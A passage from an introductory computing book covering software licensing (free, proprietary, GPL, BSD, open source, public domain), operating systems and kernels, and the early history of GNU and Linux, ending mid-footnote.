data are bundled together with the related programs.  
   20  A driver is, as the name suggests, a program that runs a device; by using a driver an OS can control a device through a 
simple, standard interface.  
   21  The term “firmware” originates from “firm” (=stable, not modifiable) and “ware” (=software component). It’s a program 
usually residing in nonvolatile memory stored on the device (hard disk, CD player, printer, or camera, for example). Each 
firmware component, provided by the device manufacturer, is started by the device itself. When a new device is plugged 
in, its firmware gets and executes commands from the related driver, which is part of the operating system.  
   22  A library is a collection of binary programs that cannot start by themselves; they need to be called by either standalone 
programs or other library programs.  
   23  These programs (in binary or source format) may be modules forming a single large program or even a collection of 
standalone programs. Data include configuration files, software documentation, installation instructions, images, audio, 
and so on.  
   24  System software includes compilers, linkers, and debuggers, even though they could better be categorized as utilities 
(application software, not system software).  
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     Software Types: Free, Semifree,  Proprietary   
 Software may also be divided into three additional categories according to the way it’s licensed and allowed 
to be used: free, semifree, and proprietary. 

 A   proprietary software       license restricts the use and the copy of software; in addition, the source code 
is almost always hidden (this software is said to be  closed source ) to prevent anyone from studying and 
modifying[ 25 ] it. This way, users have to buy all the future versions of the executable program if they want to 
keep it updated. Because nearly all proprietary software is closed source, both terms are commonly treated 
as synonyms. 

 Although a proprietary application is often available upon payment, it can also be free of charge; if 
the latter, it’s called   freeware   . In “freeware” the term “free” stands for “free of charge” and nothing else, 
particularly not “free from restrictions.” This type of software can be executed without the need to pay for it, 
but it usually contains several restrictions (source code not available, personal use only, and the like). Even 
  shareware      software    is proprietary; it’s similar to freeware, but users have to pay to unlock some advanced 
features or to continue using it after a trial period. 

 By contrast,   free software    is characterized by the freedom for every user to execute the software without 
restrictions[ 26 ], for private as well as for commercial use[ 27 ] and to make copies for themselves and others 
(redistribute it), either gratis or for a fee. Everyone can get the source code for study purposes and for 
creating publicly redistributable modified versions (either free or not, including source files) without having 
to ask permission of anyone. 

 Unfortunately, the term “free” is confusing because it means both “free as in freedom” and also “gratis”; 
so “free software” could be proprietary, although free of charge. For this reason two new terms were created, 
with a more specific meaning: “libre software” and “open source software.”It’s worth noting that free 
software can be “sold”; it’s legal to ask for money to give away copies, even through the download from a 
web site. “This last point, which allows the software to be sold for money, seems to go against the whole idea 
of free software. It is actually one of its strengths.” (   https://www.debian.org/intro/free     ) Furthermore, 
whoever gets a copy (either gratis or for a fee) can release it with no charge; therefore  what makes software 
free is freedom, not price . A null-priced application may not be free. 

 Lastly, we call   semifree    any software that is free only for private use;[ 28 ] it gives the user the same rights 
as free software, except one: to obtain a profit. Semifree is not the same as freeware: they are two different 
types of software, with different, incompatible characteristics.[ 29 ] 

 Usually, each program has its own license; it is a contractual document that is often disregarded despite 
its great importance. The license regulates the use of software by specifying what the user can and cannot do. 
These restrictions, dictated by the owner who holds the software copyright (usually the author), can concern 
the use, copy, study, modification and public release of the software. 

 Because there are many types and variants, only a few of them will be mentioned. 

   25  When the source code is not available, it is possible, by using a decompiler, to get the assembly code, but that is a very 
hard job.  
   26  For instance, the same software may be installed on multiple machines (and hence used by multiple users at the same 
time) for an indefinite time.  
   27  “Commercial software” is developed for economic profit, even if indirect (not resulting from the sale). Proprietary 
software is also usually commercial, since it is created to gain from sales. Freeware software also is both proprietary and 
commercial, but the economic profit is indirect (it comes from advertising, not from selling). But not all commercial 
software is proprietary; there is also “commercial free software”: it’s free software that lets developers gain, for instance, 
from technical assistance contracts.  
   28  See the following for details:    https://www.gnu.org/philosophy/categories.html#semi-freeSoftware       
   29  Don’t forget: a null price is a characteristic of freeware software, not of free software.  

https://www.debian.org/intro/free
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     Free Software  Definition   and the Free Software Foundation 
Licenses 
 The first definition of free software was published in 1986 by the   Free Software Foundation  (FSF)  , a nonprofit 
organization founded the year before by Richard Stallman. This definition[ 30 ] lists four fundamental 
freedoms; thus it’s called  The Four Freedoms . 

 The FSF is the copyright holder of the  GNU GPL  ( GNU General Public License ),[ 31 ] version 1 of which 
was released on February 25, 1989.     

 The GNU GPL is the best-known among   copyleft licenses    , [ 32 ] which force whoever modifies a free 
program to release the modified version, including its source code, under the same license without adding 
any restrictions, in this way ensuring that free software will continue to be free.[ 33 ] 

 The source code may not be bundled with the executable. If it is not, the software distributor must allow 
users to get the source code on a physical medium (such as CD). However, software must carry a copyright 
notice and a copy of the license (a web link is not enough), in order to inform users of their rights. 

 The obligation to make the source code publicly available arises only when the related executable code 
becomes public. Hence, if a company develops a modified version of a GPL-licensed program for internal 
use only, there is no need to make publicly available the source code as well as the executable. 

 If a copylefted program is merged with another, the latter, too, has to be released under the same license 
terms; therefore the effect is viral since the license spreads from one program to another. The same applies 
to libraries.[ 34 ] 

 The author can also release the same program under different licenses, including the GNU GPL. 
Whoever has a copy of the program needs to meet only the obligations listed in the license attached to his or 
her copy. 

  Copyleft licenses   may be considered an adaptation to software of the more generic licenses with a 
 share-alike [ 35 ] clause that is included in two of the six standard licenses[ 36 ] from  Creative Commons  (CC), a 
nonprofit organization promoting the free sharing of works.[ 37 ] 

    The share-alike clause states that a copy or a modified version of a work (book, image, movie, or the 
like) must retain the same license of the original work. 

 CC licenses are not recommended for software, as they don’t mention the source code; therefore 
executables may not be bundled together with their source, thus denying others the opportunity to make 
modifications. 

   30  See the following sites for the formal definitions:    http://www.gnu.org/philosophy/free-sw.html      
   http://fsfe.org/about/basics/freesoftware.html       
   31  The FSF holds the copyright of the license, not of the works covered by the license. For more, see    http://www.gnu.
org/licenses/gpl-faq.html     .  
   32  “Proprietary software developers use copyright to take away the users’ freedom; we use copyright to guarantee 
their freedom. That’s why we reverse the name, changing ‛copyright’ into ‛copyleft’ […] The ‛left’ in ‛copyleft’ is 
not a reference to the verb ‛to leave’—only to the direction, which is the inverse of ‛right’” (   http://www.gnu.org/
copyleft/copyleft.html     ).  
   33  “If a program is free but not copylefted, then some copies or modified versions may not be free at all. A software 
company can compile the program, with or without modifications, and distribute the executable file as a proprietary 
software product” (   http://www.gnu.org/philosophy/categories.en.html#Non-CopyleftedFreeSoftware     ).  
   34  See the following sites for details:    http://www.gnu.org/licenses/gpl-faq.html#MereAggregation      
   http://www.gnu.org/licenses/gpl-faq.html#IfLibraryIsGPL       
   35  See the following site for details:    http://creativecommons.org/licenses/by-sa/4.0/       
   36  See the following sites for details:    http://creativecommons.org/licenses/         http://creativecommons.org/
about/license/       
   37  See the following site for details:    http://www.creativecommons.it/      

    https://wiki.creativecommons.org/FAQ       
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 Instead of CC licenses, some others are preferable for software, for instance the GNU GPL or the  GNU 
LGPL  ( Lesser General Public License , usually adopted for libraries[ 38 ]), similar to the GPL but less restrictive. 

 The LGPL is known to be a  weak copyleft [ 39 ] license; it’s “weak” because, unlike the GPL (a  strong 
copyleft  license), it allows LGPL-licensed software to be used by software of a different licensing type 
(even proprietary) without forcing the latter to adopt the same license, hence without having to release 
the source code. 

 A modified LGLP program inherits the LGPL license, as for GPL.  

      Debian Free Software Guidelines   
 The definition of free software from the FSF is not the only existing one; another definition comes from 
Debian, the closest to the FSF philosophy[ 40 ] among the most popular Linux distributions (see “GNU/Linux 
Distributions and Packages”).  Debian   in its main archive has only free software[ 41 ] as defined by the  DFSG 
(Debian Free Software Guidelines ),[ 42 ] the first commitment of which states “Debian will remain 100% free.”[ 43 ]  

      BSD Licenses      
 Not all free software is copylefted; there are other licenses as well, notably those from the  BSD [ 44 ] family, of 
which the most recent (three-clause BSD[ 45 ]) and its simplified version (two-clause BSD or FreeBSD) are 
compatible with the GNU GPL. 

 The BSD licenses belong to the  permissive licenses  family; they are more permissive, as the name 
suggests, than copyleft licenses.[ 46 ] They are called “permissive” because they give more freedom to software 
distributors than to users.       These licenses allow software (either modified or not) to be released without 
source code, or with another license (other than the original). It’s even possible to include BSD code in 
proprietary software. As a consequence, a free program may not be free in the future. 

 Among the best-known permissive licenses are the  copyfree licenses. [ 47 ] 

   38  The original name was “GNU  Library  General Public License”. See also:    http://www.gnu.org/philosophy/
why-not-lgpl.html       
   39  One example is the EUPL (European Union Public License)    https://www.gnu.org/licenses/license-list.
html#EUPL         http://www.eupl.it/       
   40  See the following site for details:    https://www.debian.org/News/2014/20140908       
   41  There are two other archives (“contrib”, and “non-free”) that do not contain free software.  
   42  See the following sites for details:    https://www.debian.org/social_contract#guidelines         https://people.
debian.org/~bap/dfsg-faq.html         https://wiki.debian.org/DFSGLicenses       
   43  See the following sites for details:    https://www.debian.org/social_contract       
   44  Berkeley Software Distribution (BSD) is an OS derived from Unix and developed by the University of California, 
Berkeley, from 1977 to 1995; BSD is now superseded by its derivatives: NetBSD (1993), FreeBSD (1993), OpenBSD 
(1995), DragonFlyBSD (2003), PC-BSD (2006), and others.  
   45  Also known as BSD-3, BSD-new, Modified BSD, and Revised BSD, it’s derived from the original  four-clause BSD  
license by removing the advertising clause, which read: “All advertising materials mentioning features or use of this 
software must display the following acknowledgement: This product includes software developed by the University of 
California, Berkeley and its contributors.”  
   46  Not all permissive licenses are compatible with the GNU GPL; a list of the GNU- compatible licenses can be found on 
   https://www.gnu.org/licenses/license-list.html     .  
   47     http://copyfree.org/      (Home-page of the Copyfree Initiative)    http://copyfree.org/resources/faq      (Frequently 
Asked Questions)    http://copyfree.org/standard      (The Copyfree Standard Definition) 
   http://copyfree.org/standard/licenses      (List of certified copyfree licenses)  
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 These licenses meet the requirements of the  Copyfree Standard Definition , so they form a homogeneous 
subset of permissive licenses.[ 48 ] 

 All BSD licenses except the “four-clause BSD”[ 49 ] are copyfree.  

      Open Source Software      
 Another main actor in the free software world is the  Open Source Initiative  (OSI), a global nonprofit 
organization founded in February 1998 by Eric S. Raymond and Bruce Perens to promote the development 
and diffusion of  open source software (OSS) , whose requirements are basically identical to those of free 
software. 

 Open source software must comply with 10 requirements, listed in the “Open Source Definition” (OSD)    
as published by OSI (   http://opensource.org/docs/osd     ). These requirements are based on the Debian 
Free Software Guidelines. One of these requirements is the availability of the source code, as the term “open 
source” suggests. 

 Some people might think that open source software has only one characteristic: the source-code 
availability. It’s for this reason that the FSF doesn’t agree on the name: “We prefer the term ‘free software’ 
because, once you have heard that it refers to freedom rather than price, it calls to mind freedom. The word 
‘open’ never refers to freedom.” (   http://www.gnu.org/philosophy/free-sw.en.html     ) 

 Because a proprietary application with publicly available source code is liable to be confused with open 
source software, it’s no coincidence that the OSD introduction begins with the following statement: “Open 
source doesn’t just mean access to the source code. The distribution terms of open-source software must 
comply with the following criteria: […].” 

 The two definitions (from FSF and OSI) are almost identical, as we can see by comparing the lists of 
accepted software licenses;  [  50 ] therefore the terms “free software” and “open source” are often treated 
as synonyms, even if there are a few exceptions. Generally speaking, open source demands weaker 
requirements than free software. 

 By using the term “open source,” the free software supporters want to avoid any ambiguity[ 51 ] about the 
term “free,” focusing on source-code availability rather than on freedom, since the FSF philosophy sounds 
too radical:

   After the Netscape announcement broke in January I did a lot of thinking about the next 
phase -- the serious push to get “free software” accepted in the mainstream corporate 
world. And I realized we have a serious problem with “free software” itself […] First, it’s 
confusing; the term “free” is very ambiguous (something the Free Software Foundation's 

   48  “Copyfree is more specific than permissive. The term ‛permissive license’ is a popular one in the open source software 
community, and is often used in reference to nonsoftware licenses as well. For most people, it conjures the idea of licenses 
that ‛let you do what you want’. The way the term is used, however, implies significantly different meaning, applying to 
many different types of licenses. The non-specificity of the term ‛permissive license’, the haphazard manner in which it is 
used, and the confusion and misunderstanding it often engenders all serve as reasons for the establishment of the term 
‛copyfree’ with a clear, standardized definition used to identify licenses that can more properly be understood to permit 
much more freedom of use than commonly labeled ‛permissive’ licenses.”  (    http://copyfree.org/policy/permissive     )  
   49  The “four-clause BSD” is a permissive license, but it is not copyfree:    http://copyfree.org/standard/rejected      It’s 
also not compatible with the GNU GPL:    http://www.gnu.org/licenses/gpl-faq.it.html#OrigBSD      In both cases 
it’s due to the advertising clause.  
   50  There are very few differences; for instance the “NASA Open Source Agreement ver. 1.3” is accepted by OSI (   http://
opensource.org/licenses/NASA-1.3     ) but not by FSF (   http://www.gnu.org/licenses/license-list.html#NASA     ).  
   51  As quoted on    https://www.debian.org/intro/free.html      (“What Does Free Mean?”)  
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propaganda has to wrestle with constantly). Does “free” mean “no money charged?” or 
does it mean “free to be modified by anyone,” or something else? Second, the term makes a 
lot of corporate types nervous. While this does not intrinsically bother me in the least, we 
now have a pragmatic interest in converting these people rather than thumbing our noses 
at them. There's now a chance we can make serious gains in the mainstream business 
world without compromising our ideals and commitment to technical excellence — so it’s 
time to reposition. We need a new and better label […] This re-labeling has since attracted 
a lot of support (and some opposition) in the hacker culture. Supporters include Linus 
himself, John “maddog” Hall, Larry Augustin, Bruce Perens of Debian, Phil Hughes of 
Linux Journal. Opposers include Richard Stallman, who initially flirted with the idea but 
now thinks the term “open source” isn’t pure enough. Bruce Perens has applied to register 
“open source” as a trademark and hold it through Software in the Public Interest. The 
trademark conditions will be known as the “Open Source Definition,” essentially the same 
as the Debian Free Software Guidelines.[  52  ]           

 To denote both free and open source software, the acronyms  FOSS  (Free and Open Source Software) 
and  FLOSS  (Free/Libre and Open Source Software) have been invented to highlight the similarities rather 
than the differences. 

 Just to give one example, Fedora, one of the most famous Linux distributions, explicitly claims to 
include only FOSS software,[ 53 ] except for some nonfree firmware needed to boot the OS or for normal 
operation.[ 54 ] This is the reason Fedora doesn’t meet the GNU FSDG (Free System Distribution Guidelines).         

      Public Domain Software      
 A free program may be uncopyrighted (not under copyright protection); if so, it’s said to be in the  public 
domain . This occurs when the authors explicitly waives their rights or the copyright has expired or even 
when the software doesn’t meet the requirements for copyright protection. This kind of software, except for 
any protected elaboration of it, may be freely used and modified without the need to ask permission, or pay 
a fee, to the authors. 

 It’s worth noting that software in the public domain has no license, but a program without license could 
not be in the public domain.[ 55 ] 

   52  As quoted on    http://www.catb.org/~esr/open-source.html       
   53  “The goal of the Fedora Project is to work with the Linux community to create a complete, general-purpose operating 
system exclusively from free and open source software. All software in Fedora must be under licenses in the Fedora 
licensing list. This list is based on the licenses approved by the Free Software Foundation, OSI, and consultation with 
Red Hat Legal.” (   https://fedoraproject.org/wiki/Licensing:Main     ) See also    https://fedoraproject.org/
wiki/Licensing:FAQ       
   54  See the following sites for details:    http://www.gnu.org/distros/common-distros.html#Fedora         https://
fedoraproject.org/wiki/Forbidden_items         https://fedoraproject.org/wiki/Licensing:Main#Binary_Firmware       
   55  “Some developers think that code with no license is automatically in the public domain. That is not true under today’s 
copyright law; rather, all copyrightable works are copyrighted by default. This includes programs. Absent a license to 
grant users freedom, they don’t have any. In some countries, users who download code with no license may infringe 
copyright merely by compiling it or running it.” (   http://www.gnu.org/licenses/license-list.html#NoLicense     )  
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 The public domain can give rise to some problems not easy to solve; for instance, a program in the 
public domain can be modified and converted into proprietary software. Another problem is the different 
copyright laws, with the result that the same work can be in the public domain only in some countries and 
not elsewhere. To this end the  CC0 license  is a good alternative[ 56 ] because it provides a permissive license as 
a fallback wherever the public domain is not applicable.  

     The  Shared Source Initiative      
 Let’s close with a brief reference to the Microsoft  Shared Source Initiative, [ 57 ] which provides a middle-way 
solution between closed source and open source: the software code (either all or part of it) is available to 
a limited number of qualified customers (enterprises, governments, universities, and so on). To this end 
Microsoft has created some licenses, two of which have been approved by the Open Source Initiative in 
2007; they are Microsoft Public License (Ms-PL) and Microsoft Reciprocal License (Ms-RL).[ 58 ] The source-
code availability allows Microsoft partners to develop more reliable software as well as to send suggestions 
(feedbacks) for improving Microsoft products.  

      Operating Systems and  Kernels         
 An  operating system , often shortened to  system  or  OS , is a collection of programs that provide the basic 
functionalities for using and managing both hardware and software resources. The OS is responsible for 
handling processes (currently running programs), files, memory, and much more. 

 It allows us to install, initialize and configure all computer devices (hard disks, external drives, 
monitors, keyboards, printers, and so on) as well as software, 

 A computer’s software initially consists of the operating system only.[ 59 ] We can later add (install) other 
programs as we like, to suit our needs and interests. 

 This is important because, in order to work, we mainly need application software (browsers, word 
processors, email clients, and so on). The OS must allow us to install, update and remove these programs, 
without which our interest for computers would vanish. This is the reason every OS includes application 
software in addition to the system software (see “System and Application Software” in this chapter). 

 The bundled application software is chosen according to the interests and likings of the users to which 
the OS is addressed. For instance, an audio-video editing enthusiast might prefer   Dyne:bolic     or   Ubuntu 
Studio    , which provide everything needed.        

 To choose the right Linux distribution, see    http://distrowatch.com/search.php     . 
 Most operating systems have more than one version, to allow installations  on   different machines; for 

instance, openSUSE has one version for i586 (Pentium or superior) and another one for x86_64 machines; it 
is therefore necessary to know the processor type to choose the right version. 

   56  See the following sites for details:    https://creativecommons.org/choose/zero/         http://creativecommons.org/
about/cc0         https://wiki.creativecommons.org/CC0_FAQ       
   57  See the following site for details:    http://www.microsoft.com/en-us/sharedsource/default.aspx       
   58  See the following site for details:    http://opensource.org/node/207      (“OSI Approves Microsoft License 
Submissions”). The approval of the two licenses gave rise to much discussion, criticism, suspicion; see 
   http://opensource.org/node/209      (“OSI Approves Microsoft Licenses”), and    http://opensource.org/node/225      
(“Who Is behind Shared Source misinformation campaign?”).  
   59  A PC may have more OSes, each installed on its own disk partition.  

http://www.dynebolic.org/
http://ubuntustudio.org/
http://ubuntustudio.org/
http://distrowatch.com/search.php
https://creativecommons.org/choose/zero/
http://creativecommons.org/about/cc0
http://creativecommons.org/about/cc0
https://wiki.creativecommons.org/CC0_FAQ
http://www.microsoft.com/en-us/sharedsource/default.aspx
http://opensource.org/node/207
http://opensource.org/node/209
http://opensource.org/node/225


CHAPTER 1 ■ HARDWARE AND SOFTWARE

18

 An operating system designed for 16-bit processors is called a  16-bit operating system ; likewise, we 
speak of  32-bit, 64-bit, and hybrid  systems depending on the processor type. The term  x86 operating system  
stands for  operating system suitable for computers with x86 processors  (16 or 32 bit, no matter which one). An 
 i386 operating system  is specifically designed for i386 (32-bit x86) and superior processors,[ 60 ] but it doesn’t 
work on (16-bit) x86 machines. Likewise, an  x86_64 operating system  is designed for x86_64 and can be 
installed neither on i386 nor on x86 machines. The core of an operating system is called  kernel ; it’s the part 
that manages the hardware access requests made by software. The kernel is the first portion of the operating 
system to be loaded in memory, where it remains until shutdown. 

 The most common kernel types are these:

•    monolithic kernels: we find them in DOS, Windows 95-98-ME, Linux distros, BSD 
(FreeBSD, NetBSD, OpenBSD), Unix (AIX, HP-UX, Oracle Solaris)  

•   microkernels: Mach, GNU Hurd, L4, MINIX, QNX  

•   hybrid kernels: WindowsNT and later (2000-XP-Vista-7-8), XNU, DragonFly BSD    

 Many operating systems derive from others, sharing part of the source code or operating principles. 
 This is a notable characteristic in the Unix family: BSD, GNU/Linux and other OSes are said to be 

 Unix-like  (someone calls them “Unix-workalike”) because they have very similar behavior and commands.[ 61 ] 
 There is no way of knowing for sure if an operating system is Unix-like or not (it is usually enough to 

meet the POSIX requirements[ 62 ]), but it is possible to know if a system is Unix, as is the case with OS X (for 
Macintosh computers), which is a Unix operating system certified by the Open Group consortium.           

 If all of the Single UNIX Specification (SUS) requirements are fulfilled, the Open Group grants, upon 
payment, the UNIX® trademark usage.  

     Summary 
 This chapter has focused on two main subjects: the various types of software and files. 

  Software , which is the intangible component of a computer system, may be classified in two different 
ways: by its role in the computer, as either system or application software, or by the way it’s licensed: as free/
open-source, semi-free, or proprietary software.  System software  includes the basic programs of primary 
importance, those needed to manage users, devices, networks, to update the operating system, and so 
on. Here we can find compilers, linkers, and debuggers, which will be used later on.  Application software  
completes system software by including optional programs to be installed by users. One is VirtualBox 
(see Chapter   2    ), which is very useful for easily installing (and removing when no longer needed) multiple 
operating systems.  Free software  gives users the freedom to use, modify, and redistribute the software, 
without the need to ask permission or pay a fee. A  proprietary software  (including freeware and shareware) 
license restricts the use and the copying of software; in addition, the source code is almost always hidden, so 
that this software is also said to be  closed source . 

   60  An i386 OS may also be installed on x86_64 machines.  
   61  See the following sites for details:    http://www.linfo.org/unix-like.html         http://www.unix.org/questions_
answers/faq.html#7a       
   62  POSIX (Portable Operating System Interface for uniX) is a set of specifications created to make all Unix and Unix-like 
systems compatible, so ensuring source-code portability with minimal modifications. The term POSIX often refers to 
the first part (POSIX.1: system Application Programming Interface; API) defining the interface between applications 
and libraries).  
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  Files  are the “containers” where we store data and programs; they, too, may be classified in two different 
ways: as either binary or text files, or as executable or nonexecutable files. We use  text files  to keep the 
programs’ source code, which is written and modified using text editors.  Binary files , whose content is nearly 
always unreadable because of its many nonalphanumeric characters, contain the machine-code executable 
programs generated by compilers. 

  Executable files  are often confused with binary files, but they are different; in many cases a pure text file 
can be made executable by turning on some attribute that gives to the operating system the permission to 
execute the instructions contained in that file. 

 Finally, we reviewed the difference between the  operating system  and its core: the  kernel , most notably 
Linux, the core of most Unix-like systems, which are the target OSes to which this book is addressed. The 
kernel is the first portion of the operating system to be loaded in memory, where it remains until shutdown. 
It’s the part that manages the hardware access requests made by software. 

 In the following chapter we’ll speak in more detail about Linux and GNU/Linux distributions to briefly 
recall the most important characteristics and historical information. This overview will lead us to choose 
some distributions (which can be installed via VirtualBox) to perform the tests that will be outlined in the 
final chapter.      
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    CHAPTER 2   

 GNU/Linux Distributions                          

 Because we’ll work on a  GNU/Linux distribution  , it doesn’t hurt to review what Linux is, how it was born, 
and how Linux distributions evolved. Special attention will be given here to software packages, package 
managers, and repositories from which packages (we are interested mostly in compilers and debuggers) can 
be easily downloaded. 

 To choose a few operating systems on which we can carry out the tests of Chapter   5    , we will look at 
some well-known websites that usefully provide an overview of the most widely used Linux distributions. 
The user can install one or more of these; to this end, the simplest and quickest way is certainly via a virtual 
machine. 

     The GNU Project 
  GNU  (Gnu is Not Unix)    [  1  ]  is a Unix-like operating system based on  GNU Hurd , “a collection of servers that 
run on the Mach microkernel” ( GNU Mach ). [  2  ]  It is often inaccurately said that Hurd is the GNU kernel; in 
fact, the kernel is actually “GNU Mach” but in the future it may be replaced by another second-generation 
microkernel from the L4 family. Don’t confuse “GNU Hurd” (the GNU kernel) with “GNU/Hurd” (the GNU 
Operating System that has the Hurd kernel)    . 

 Because Hurd is still under active development (one experimental implementation can be found in 
Debian GNU/Hurd [  3  ] ), the GNU operating system is usually bundled with the Linux kernel,    hence called 
 GNU/Linux.  [  4  ]  

   1  For more information, see:    https://www.gnu.org/         https://www.gnu.org/philosophy/      
    https://www.gnu.org/gnu/thegnuproject.html     )  
   2  For more information, see    http://www.gnu.org/software/hurd/         http://www.gnu.org/software/hurd/hurd/
what_is_the_gnu_hurd.html       
   3  See the following sites for details:    https://wiki.debian.org/Debian_GNU/      
    https://wiki.debian.org/Debian_GNU/Hurd       
   4  For more information, see    https://www.gnu.org/gnu/linux-and-gnu.html         https://www.gnu.org/gnu/gnu-
linux-faq.html       

http://dx.doi.org/10.1007/978-1-4842-2181-5_5
https://www.gnu.org/
https://www.gnu.org/philosophy/
https://www.gnu.org/gnu/thegnuproject.html
http://www.gnu.org/software/hurd/
http://www.gnu.org/software/hurd/hurd/what_is_the_gnu_hurd.html
http://www.gnu.org/software/hurd/hurd/what_is_the_gnu_hurd.html
https://wiki.debian.org/Debian_GNU/
https://wiki.debian.org/Debian_GNU/Hurd
https://www.gnu.org/gnu/linux-and-gnu.html
https://www.gnu.org/gnu/gnu-linux-faq.html
https://www.gnu.org/gnu/gnu-linux-faq.html
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 The BSD kernel is less common; Debian for instance has two versions (in addition to Debian GNU/Hurd): 
Debian GNU/Linux [  5  ]  and Debian GNU/kFreeBSD.  [  6  ]  ArchLinux [  7  ]  also has one version with the FreeBSD 
kernel: ArchBSD. [  8  ]  

 The  GNU project  was started about 30 years ago; Richard Stallman made the initial announcement 
in September 1983. [  9  ]  In March 1985 Stallman published a longer version, the  GNU Manifesto,  [  10  ]  to ask for 
support and to better describe his work and its features. 

 The following year, on the GNU’s Bulletin, volume 1 (February 1986), [  11  ]  appeared the first definition of 
Free Software, which included only two freedoms. Stallman outlined the current state of the GNU project 
and its goals. 

 Nowadays GNU is a widespread operating system [  12  ]  providing a huge collection of free software, 
including non-GNU free software, such as the X Window System. A complete index can be found in The Free 
Software Directory (   h  ttp://directory.fsf.org/wiki/Main_Page     )    .  

     What Is  Linux  ? 
 It has already been said that  Linux   is a kernel, the most important and smallest part of an operating system. 

 Some people use the name “Linux” to identify the whole operating system. That’s a crass error, 
because it takes no account of the contribution from the GNU software, and it equates many different 
operating systems; having the same kernel is not enough to make them similar. So the convention used by 
Debian appears to be the fairest: Debian GNU/Linux, Debian GNU/kFreeBSD, and Debian GNU/Hurd are 
unambiguous terms, with sufficiently clear meanings. 

 A very common generic term is  Linux distribution , which roughly means “Operating System based 
on the Linux kernel.” Remember that the kernel, the core of every operating system, is the first portion to 
be loaded in memory, where it remains until shutdown; it’s that part which manages the hardware access 
requests made by software. 

 So we say that Debian GNU/Linux [  13  ]  is a Linux distribution, along with Slackware, Fedora, and many other 
operating systems, including Android. [  14  ]  The term “distribution” is well suited to emphasize the selection and 
assembly, done by the distribution maintainer, of the various parts (kernel, GNU software, X server, desktop 
environment, and so on) of an OS; each of these parts is normally created by a different group of programmers. 

 An estimate of the diffusion of the most popular operating systems (Windows, BSD, GNU/Linux, and OS 
X) is a difficult task, depending on computer types, piracy, and post-purchase new installations; so it’s very 
hard to guess their effective shares by means of sales data only.    However, all people agree that the Windows 
operating systems are the most common for personal computers, followed by OS X and GNU/Linux. The 
opposite is true if we consider tablets or web servers. 

   5  For more information, see    https://wiki.debian.org/DebianGnuLinux       
   6  For more information, see    https://wiki.debian.org/Debian_GNU/kFreeBSD         
   7  For more information, see    https://www.archlinux.org/         
   8  For more information, see    http://archbsd.net/         
   9  For more information, see    https://www.gnu.org/gnu/initial-announcement.html       
   10  For more information, see    http://www.gnu.org/gnu/manifesto.html       
   11  For more information, see    https://www.gnu.org/bulletins/bulletins.html         https://www.fsf.org/
bulletin/1986/february       
   12  “A free operating system that exists today is almost certainly either a variant of the GNU system, or a kind of BSD 
system.” (   https://www.gnu.org/gnu/linux-and-gnu.html     )  
   13  Excluding Debian GNU/kFreeBSD and Debian GNU/Hurd.  
   14  Android has a modified version of the Linux kernel, but it doesn’t have the software that is common to other 
distributions (GNU libraries, shell, X server, and so on); this is the reason why a program that works on a Linux 
distribution cannot be run on Android. Therefore, not everybody agrees that Android is a Linux distribution.  

http://directory.fsf.org/wiki/Main_Page
https://wiki.debian.org/DebianGnuLinux
https://wiki.debian.org/Debian_GNU/kFreeBSD
https://www.archlinux.org/
http://archbsd.net/
https://www.gnu.org/gnu/initial-announcement.html
http://www.gnu.org/gnu/manifesto.html
https://www.gnu.org/bulletins/bulletins.html
https://www.fsf.org/bulletin/1986/february
https://www.fsf.org/bulletin/1986/february
https://www.gnu.org/gnu/linux-and-gnu.html
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 Mainframes and supercomputers use GNU/Linux to achieve the highest speed, reliability, and 
cost-effectiveness. The GNU/Linux operating systems are rapidly expanding between mainframes, and in 
practice they have been the only ones installed on supercomputers for many years: in November 2015, 99% 
of the 500 world’s fastest supercomputers used GNU/Linux operating systems. [  15  ]   

     The  Birth of   Linux 
 Linux is a Unix-like kernel. It’s free, stable, and fast; the core of many modern operating systems. 

 At the time of its development, most x86-PC users knew only one operating system: Microsoft  DOS  (MS-
DOS, released in 1981); it was a 16-bit command-line system, [  16  ]  later gradually superseded by  Windows.  [  17  ]  

 For Macintosh computers (with Motorola 68000 processor), there was  Mac OS ; in 1984 one of the few 
operating systems with a graphical user interface and the first of them to achieve great commercial  success  . 

 There was  Unix,  too, but it was a bit expensive: in the mid-eighties it cost more than $20,000 (about 
$300 [  18  ]  for students). 

  BSD  (Berkeley Software Distribution), a free Unix-like operating system, worked only on PDP, VAX and 
other workstations, not on x86 PCs. [  19  ]  

 It was then that professor Andrew Tanenbaum from the Free University of Amsterdam created a small 
Unix-like system ( MINIX =MIni uNIX) for use by his students. [  20  ]  The C source code was enclosed with a 
book [  21  ]  published in 1987; that way, a cheap 8086 Unix-like OS was available (10 floppies with software were 
priced $69). Later, MINIX was freely downloadable from the Internet, although still proprietary software. 

 Among MINIX users was  Linus Torvalds , a computer science student at the University of Helsinki. 
The installation on a new 80386 PC didn’t satisfy him, because of some lacks: that operating system didn’t 
support hard disks, a network, or other features. 

 In 1991 Torvalds decided to start the development of a new operating system, like MINIX but freely 
redistributable. On August 25, 1991, Torvalds announced on Usenet that a few months earlier, in April, 
he had started developing a new operating system and asked all MINIX users what they considered to 
be valuable features. Torvalds got quite a few replies; some gave him suggestions, others offered their 
availability to test the new system. The first version (0.01, which included only the kernel’s source code, 
without libraries and utilities), was released about three weeks later, in mid-September 1991, freely 
downloadable from    ftp://nic.funet.fi/pub/OS/Linux     . 

   15  For more information, see the following sites:    http://www.zdnet.com/article/linux-dominates-supercomput-
ers-as-never-before/         http://www.top500.org/statistics/list/         http://www.top500.org/statistics/
details/osfam/1       (see also 2 , 3 , ... )   
   16  It had a text-mode interface: commands were written on a so-called  command line  identifiable by a particular sequence 
of characters (such as “C:\>”) called a  prompt . On the black screen there were only letters, numbers, and a few other 
symbols. Some years later, Macintosh computers introduced graphic interfaces, icons, and the mouse, as we are now 
accustomed to having.  
   17  Particularly Windows 95, a 16/32 bit hybrid operating system marketed from 1995, was widely known. Earlier versions 
were Windows 1 (1985), Windows 2 (1987), Windows 3 (1990), but only the last had commercial success. Unlike 
Windows 3, DOS automatically started Windows 95, which looked like a full graphic OS. Although hidden, DOS still 
remained the heart of Windows. DOS was removed in Windows NT, XP, and later versions, all of them 32-bit systems.  
   18  There were some cheaper Unix clones, among which was Coherent, in 1983 the first Unix-like system for x86 PCs (its 
price dropped from $500 to $100 in 1991), with very good software; but just like Unix, it was proprietary software.  
   19  The plan to carry BSD to i386 (“software porting”) was started by William Jolitz. From January 1991 he published in 
 Dr. Dobbs Journal  18 articles documenting the porting process. When in 1992 the i386 versions were available, the Unix 
System Laboratories (USL, owned by AT&T) filed a two-year lawsuit, which froze the development of BSD.  
   20  He could not use Unix, which was owned by AT&T: “When AT&T decided to forbid the teaching of the UNIX 
